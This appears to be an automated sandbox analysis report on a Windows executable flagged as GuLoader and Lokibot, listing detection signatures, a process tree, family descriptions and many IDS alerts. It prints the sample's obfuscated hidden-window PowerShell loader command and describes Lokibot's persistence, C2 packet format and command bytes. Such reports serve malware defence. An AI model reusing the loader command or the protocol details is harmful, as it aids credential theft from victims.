Windows
Analysis Report
RFQ-SulselBarruII2-COALCOMMLDOC.exe
Overview
General Information
Detection
GuLoader, Lokibot
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected GuLoader
Yara detected Lokibot
Initial sample is a PE file and has a suspicious name
Obfuscated command line found
Powershell drops PE file
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Dosfuscation Activity
Sleep loop found (likely to delay execution)
Tries to load missing DLLs
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
RFQ-SulselBarruII2-COALCOMMLDOC.exe (PID: 6744 cmdline:
"C:\Users\ user\Deskt op\RFQ-Sul selBarruII 2-COALCOMM LDOC.exe" MD5: 90FDA5C072FE00E8E737606ADD7F1276) powershell.exe (PID: 5688 cmdline:
"powershel l.exe" -wi ndowstyle hidden "$H arish116=G et-Content 'C:\Users \user\AppD ata\Local\ Ubarberet\ Graustark\ resultalet \Unmeringu ed.Brd';$O mkldningsr ums=$Haris h116.SubSt ring(61425 ,3);.$Omkl dningsrums ($Harish11 6)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) conhost.exe (PID: 1104 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 7200 cmdline:
"C:\Window s\system32 \cmd.exe" /c "set /A 1^^0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) wab.exe (PID: 7448 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7456 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7464 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7472 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7480 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7488 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7496 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7504 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7512 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7520 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) wab.exe (PID: 7528 cmdline:
"C:\Progra m Files (x 86)\window s mail\wab .exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89) ImagingDevices.exe (PID: 7536 cmdline:
"C:\Progra m Files (x 86)\Window s Photo Vi ewer\Imagi ngDevices. exe" MD5: 3F6F254D24C457BF33227502ED4F0988) ImagingDevices.exe (PID: 7544 cmdline:
"C:\Progra m Files (x 86)\Window s Photo Vi ewer\Imagi ngDevices. exe" MD5: 3F6F254D24C457BF33227502ED4F0988) ImagingDevices.exe (PID: 7552 cmdline:
"C:\Progra m Files (x 86)\Window s Photo Vi ewer\Imagi ngDevices. exe" MD5: 3F6F254D24C457BF33227502ED4F0988) ImagingDevices.exe (PID: 7560 cmdline:
"C:\Progra m Files (x 86)\Window s Photo Vi ewer\Imagi ngDevices. exe" MD5: 3F6F254D24C457BF33227502ED4F0988)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Loki Password Stealer (PWS), LokiBot | "Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2 |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security | ||
JoeSecurity_GuLoader_2 | Yara detected GuLoader | Joe Security | ||
JoeSecurity_Lokibot_1 | Yara detected Lokibot | Joe Security | ||
JoeSecurity_GuLoader | Yara detected GuLoader | Joe Security |
System Summary |
---|
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Timestamp: | 04/03/24-06:38:05.256073 |
SID: | 2825766 |
Source Port: | 49789 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:13.658001 |
SID: | 2024318 |
Source Port: | 49800 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:07.360242 |
SID: | 2825766 |
Source Port: | 49792 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:41.484457 |
SID: | 2021641 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.987496 |
SID: | 2024318 |
Source Port: | 49763 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.282252 |
SID: | 2021641 |
Source Port: | 49827 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:26.534492 |
SID: | 2025381 |
Source Port: | 49816 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:48.379699 |
SID: | 2025381 |
Source Port: | 49844 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:38.419517 |
SID: | 2024313 |
Source Port: | 49833 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.987496 |
SID: | 2024313 |
Source Port: | 49763 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:10.724952 |
SID: | 2024318 |
Source Port: | 49796 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:36.358340 |
SID: | 2021641 |
Source Port: | 49830 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.122189 |
SID: | 2021641 |
Source Port: | 49757 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:55.534565 |
SID: | 2825766 |
Source Port: | 49854 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:30.613047 |
SID: | 2025381 |
Source Port: | 49746 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:38.419517 |
SID: | 2024318 |
Source Port: | 49833 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.219175 |
SID: | 2021641 |
Source Port: | 49855 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:10.724952 |
SID: | 2024313 |
Source Port: | 49796 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:13.658001 |
SID: | 2024313 |
Source Port: | 49800 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:38.407237 |
SID: | 2825766 |
Source Port: | 49756 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:08.198877 |
SID: | 2021641 |
Source Port: | 49793 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:21.763703 |
SID: | 2025381 |
Source Port: | 49811 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:03.254673 |
SID: | 2024318 |
Source Port: | 49788 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.813478 |
SID: | 2025381 |
Source Port: | 49849 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:52.772037 |
SID: | 2025381 |
Source Port: | 49774 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.914570 |
SID: | 2024313 |
Source Port: | 49825 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.009985 |
SID: | 2025381 |
Source Port: | 49852 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:28.593679 |
SID: | 2021641 |
Source Port: | 49819 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.179954 |
SID: | 2021641 |
Source Port: | 49802 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:56.609631 |
SID: | 2025381 |
Source Port: | 49779 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.987306 |
SID: | 2825766 |
Source Port: | 49821 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:03.254673 |
SID: | 2024313 |
Source Port: | 49788 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:00.331066 |
SID: | 2825766 |
Source Port: | 49784 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:33.600213 |
SID: | 2825766 |
Source Port: | 49826 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.914570 |
SID: | 2024318 |
Source Port: | 49825 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:46.959263 |
SID: | 2021641 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.093731 |
SID: | 2021641 |
Source Port: | 49749 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.911562 |
SID: | 2025381 |
Source Port: | 49799 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.125041 |
SID: | 2024313 |
Source Port: | 49743 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.125041 |
SID: | 2024318 |
Source Port: | 49743 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.218805 |
SID: | 2021641 |
Source Port: | 49798 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.748494 |
SID: | 2825766 |
Source Port: | 49846 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:32.267354 |
SID: | 2825766 |
Source Port: | 49748 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.224947 |
SID: | 2024318 |
Source Port: | 49817 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.873778 |
SID: | 2025381 |
Source Port: | 49803 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.036535 |
SID: | 2021641 |
Source Port: | 49814 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.224947 |
SID: | 2024313 |
Source Port: | 49817 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:52.638175 |
SID: | 2021641 |
Source Port: | 49850 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.842169 |
SID: | 2024313 |
Source Port: | 49853 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:24.205256 |
SID: | 2825766 |
Source Port: | 49813 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:35.452745 |
SID: | 2021641 |
Source Port: | 49752 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:19.372255 |
SID: | 2025381 |
Source Port: | 49808 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:47.778229 |
SID: | 2025381 |
Source Port: | 49766 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:40.106892 |
SID: | 2021641 |
Source Port: | 49835 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.842169 |
SID: | 2024318 |
Source Port: | 49853 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.043826 |
SID: | 2025381 |
Source Port: | 49831 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.062804 |
SID: | 2024318 |
Source Port: | 49845 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.952090 |
SID: | 2021641 |
Source Port: | 49744 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.015339 |
SID: | 2021641 |
Source Port: | 49785 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:54.423488 |
SID: | 2825766 |
Source Port: | 49776 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.904801 |
SID: | 2825766 |
Source Port: | 49818 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:57.435447 |
SID: | 2021641 |
Source Port: | 49780 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.022620 |
SID: | 2825766 |
Source Port: | 49841 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.062804 |
SID: | 2024313 |
Source Port: | 49845 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:34.610079 |
SID: | 2024313 |
Source Port: | 49751 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:42.416972 |
SID: | 2025381 |
Source Port: | 49836 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:34.610079 |
SID: | 2024318 |
Source Port: | 49751 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:30.670976 |
SID: | 2021641 |
Source Port: | 49822 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.042243 |
SID: | 2025381 |
Source Port: | 49794 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.796602 |
SID: | 2021641 |
Source Port: | 49778 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:23.522239 |
SID: | 2024313 |
Source Port: | 49812 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.243601 |
SID: | 2021641 |
Source Port: | 49772 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:00.331066 |
SID: | 2024313 |
Source Port: | 49784 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.122430 |
SID: | 2021641 |
Source Port: | 49781 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.921190 |
SID: | 2025381 |
Source Port: | 49856 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:48.477935 |
SID: | 2025381 |
Source Port: | 49767 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:00.331066 |
SID: | 2024318 |
Source Port: | 49784 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.958519 |
SID: | 2025381 |
Source Port: | 49758 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:50.546988 |
SID: | 2025381 |
Source Port: | 49770 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.036535 |
SID: | 2825766 |
Source Port: | 49814 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.269664 |
SID: | 2825766 |
Source Port: | 49805 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.982502 |
SID: | 2025381 |
Source Port: | 49828 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.892413 |
SID: | 2025381 |
Source Port: | 49795 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.855566 |
SID: | 2021641 |
Source Port: | 49769 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:23.522239 |
SID: | 2024318 |
Source Port: | 49812 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:44.645218 |
SID: | 2825766 |
Source Port: | 49839 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:45.335995 |
SID: | 2025381 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.844436 |
SID: | 2025381 |
Source Port: | 49786 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.151380 |
SID: | 2021641 |
Source Port: | 49753 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:24.205256 |
SID: | 2024318 |
Source Port: | 49813 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:55.534565 |
SID: | 2024318 |
Source Port: | 49854 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.015339 |
SID: | 2825766 |
Source Port: | 49785 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.856471 |
SID: | 2021641 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.952090 |
SID: | 2825766 |
Source Port: | 49744 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:38.419517 |
SID: | 2825766 |
Source Port: | 49833 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:14.340654 |
SID: | 2021641 |
Source Port: | 49801 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.198908 |
SID: | 2025381 |
Source Port: | 49809 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.125041 |
SID: | 2825766 |
Source Port: | 49743 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.243601 |
SID: | 2825766 |
Source Port: | 49772 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:59.640455 |
SID: | 2024313 |
Source Port: | 49783 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.126318 |
SID: | 2021641 |
Source Port: | 49848 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.764699 |
SID: | 2024313 |
Source Port: | 49742 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:24.205256 |
SID: | 2024313 |
Source Port: | 49813 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.764699 |
SID: | 2024318 |
Source Port: | 49742 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:55.534565 |
SID: | 2024313 |
Source Port: | 49854 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:59.640455 |
SID: | 2024318 |
Source Port: | 49783 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:18.685116 |
SID: | 2021641 |
Source Port: | 49807 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:24.221116 |
SID: | 2021641 |
Source Port: | 49740 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.022620 |
SID: | 2024313 |
Source Port: | 49841 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.219175 |
SID: | 2825766 |
Source Port: | 49855 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:37.702889 |
SID: | 2024313 |
Source Port: | 49755 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.022620 |
SID: | 2024318 |
Source Port: | 49841 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.210551 |
SID: | 2025381 |
Source Port: | 49824 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.030663 |
SID: | 2025381 |
Source Port: | 49741 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.719182 |
SID: | 2025381 |
Source Port: | 49815 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
